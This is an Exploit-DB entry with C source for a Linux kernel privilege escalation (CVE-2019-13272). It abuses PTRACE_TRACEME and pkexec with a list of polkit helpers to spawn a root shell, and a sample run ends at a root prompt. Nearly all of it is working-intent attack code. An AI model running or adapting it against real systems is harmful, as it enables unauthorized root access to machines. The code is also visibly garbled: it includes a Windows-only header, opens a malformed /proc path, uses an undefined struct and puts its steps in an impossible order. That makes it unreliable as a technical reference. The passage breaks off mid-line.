Exploit-DB #50541
Description: Linux Kernel 5.1.x - 'PTRACE_TRACEME' pkexec Local Privilege Escalation (2)
Type: local
Platform: linux
Date: 2021-11-23
Author: Ujas Dhami

Exploit:
# Exploit Title: Linux Kernel 5.1.x - 'PTRACE_TRACEME' pkexec Local Privilege Escalation (2)
# Date: 11/22/21
# Exploit Author: Ujas Dhami
# Version: 4.19 - 5.2.1
# Platform: Linux
# Tested on:
# ~ Ubuntu 19.04 kernel 5.0.0-15-generic
# ~ Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64
# ~ Kali Linux kernel 4.19.0-kali5-amd64
# CVE: CVE-2019-13272

// ....
// Original discovery and exploit author: Jann Horn
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
// Modified exploit code of: BColes
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272
// ....
// ~ Uses the PolKit_Exec frontend.
// ~ PolKit_Action is branched.
// ~ Search is optimized.
// ~ Trunks attain search priority upon execution.
// ....
// ujas@kali:~$ gcc exploit_traceme.c -o exploit_traceme
// ujas@kali:~$ ./exploit_traceme
// Welcome to your Arsenal!
// accessing variables...
// execution has reached EOP.
// familiar trunks are been searched ...
// trunk helper found: /usr/sbin/mate-power-backlight-helper
// helper initiated: /usr/sbin/mate-power-backlight-helper
// SUID process is being initiated (/usr/bin/pkexec) ...
// midpid is being traced...
// midpid attached.
// root@kali:/home/ujas#
// ....

#include <ctype.h>
#include <assert.h>
#include <conio.h>
#include <stdio.h>
#include <sys/syscall.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <stddef.h>
#include <sys/user.h>
#include <linux/elf.h>
#include <stdarg.h>
#include <pwd.h>
#include <sys/prctl.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#define _GNU_SOURCE

#define DEBUG
#ifdef DEBUG
#define dprintf printf
#endif
#define max(a,b) ((a)>(b) ? (a) : (b))
#define eff(expr) ({             \
  typeof(expr) __res = (expr);       \
  if (__res == -1) {             \
    dprintf("[-] Error: %s\n", #expr);     \
    return 0;            \
  }               \
  __res;               \
})

struct stat st;

const char *trunk[1024];

const char *trunks_rec[] = {
  "/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
  "/usr/sbin/mate-power-backlight-helper",
  "/usr/lib/gnome-settings-daemon/gsd-backlight-helper",
  "/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
  "/usr/lib/unity-settings-daemon/usd-backlight-helper",
  "/usr/bin/xfpm-power-backlight-helper",
  "/usr/bin/lxqt-backlight_backend",
  "/usr/lib/gsd-backlight-helper",
  "/usr/lib/gsd-wacom-led-helper",
  "/usr/lib/gsd-wacom-oled-helper",
  "/usr/libexec/gsd-wacom-led-helper",
  "/usr/libexec/gsd-wacom-oled-helper",
  "/usr/libexec/gsd-backlight-helper",
  
};
static int trace_align[2];
static const char *path_exec = "/usr/bin/pkexec";
static const char *path_action = "/usr/bin/pkaction";
static int fd = -1;
static int pipe_stat;
static const char *term_sh = "/bin/bash";
static int mid_succ = 1;
static const char *path_doublealign;

static char *tdisp(char *fmt, ...) {
  static char overlayfs[10000];
  va_list ap;
  va_start(ap, fmt);
  vsprintf(overlayfs, fmt, ap);
  va_end(ap);
  return overlayfs;
}

static int middle_main(void *overlayfs) {
  prctl(PR_SET_PDEATHSIG, SIGKILL);
  pid_t middle = getpid();
  fd = eff(open("/proc/_fd/exe", O_RDONLY));
  pid_t child = eff(fork());
  
  if (child == 0) {
    prctl(PR_SET_PDEATHSIG, SIGKILL);

    eff(dup2(fd, 42));
    int proc_fd = eff(open(tdisp("/proc/%d/status", middle), O_RDONLY));
    char *threadv = tdisp("\nUid:\t%d\t0\t", getuid());
    eff(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
    execl(path_exec, basename(path_exec), NULL);
    while (1) {
      char overlayfs[1000];
      ssize_t buflen = eff(pread(proc_fd, overlayfs, sizeof(overlayfs)-1, 0));
      overlayfs[buflen] = '\0';
      if (strstr(overlayfs, threadv)) break;
    }

    dprintf("SUID execution failed.");
    exit(EXIT_FAILURE);
  }

  eff(dup2(fd, 0));
  eff(dup2(trace_align[1], 1));

  struct passwd *pw = getpwuid(getuid());
  if (pw == NULL) {
    dprintf("err: username invalid/failed to fetch username");
    exit(EXIT_FAILURE);
  }

  mid_succ = 1;
  execl(path_exec, basename(path_exec), "--user", pw->pw_name,
        path_doublealign,
        "--help", NULL);
  mid_succ = 0;
  dprintf("err: pkexec execution failed.");
  exit(EXIT_FAILURE);
}

static int timeexecbuffer(pid_t pid, int exec_fd, char *arg0) {
  struct user_regs_struct regs;
  struct exeio exev = { .iov_base = &regs, .iov_len = sizeof(regs) };
  eff(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
  eff(waitpid(pid, &pipe_stat, 0));
  eff(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &exev));

  unsigned long inject_surface = (regs.rsp - 0x1000) & ~0xfffUL;
  struct injected_page {
    unsigned long inj_arse[2];
    unsigned long environment[1];
    char arg0[8];
    char path[1];
  } ipage = {
    .inj_arse = { inject_surface + offsetof(struct injected_page, arg0) }
  };
  strcpy(ipage.arg0, arg0);
  for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
    unsigned long pro_d = ((unsigned long *)&ipage)[i];
    eff(ptrace(PTRACE_POKETEXT, pid, inject_surface + i * sizeof(long),
                (void*)pro_d));
  }

  eff(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &exev));
  eff(ptrace(PTRACE_DETACH, pid, 0, NULL));
  eff(waitpid(pid, &pipe_stat, 0));
  
  regs.orig_rax = __NR_execveat;
  regs.rdi = exec_fd;
  regs.rsi = inject_surface + offsetof(struct injected_page, path);
  regs.rdx = inject_surface + offsetof(struct injected_page, inj_arse);
  regs.r10 = inject_surface + offsetof(struct injected_page, environment);
  regs.r8 = AT_EMPTY_PATH;
}

static int stag_2(void) {
  pid_t child = eff(waitpid(-1, &pipe_stat, 0));
  timeexecbuffer(child, 42, "stage3");
  return 0;
}

static int sh_spawn(void) {
  eff(setresgid(0, 0, 0));
  eff(setresuid(0, 0, 0));
  execlp(term_sh, basename(ter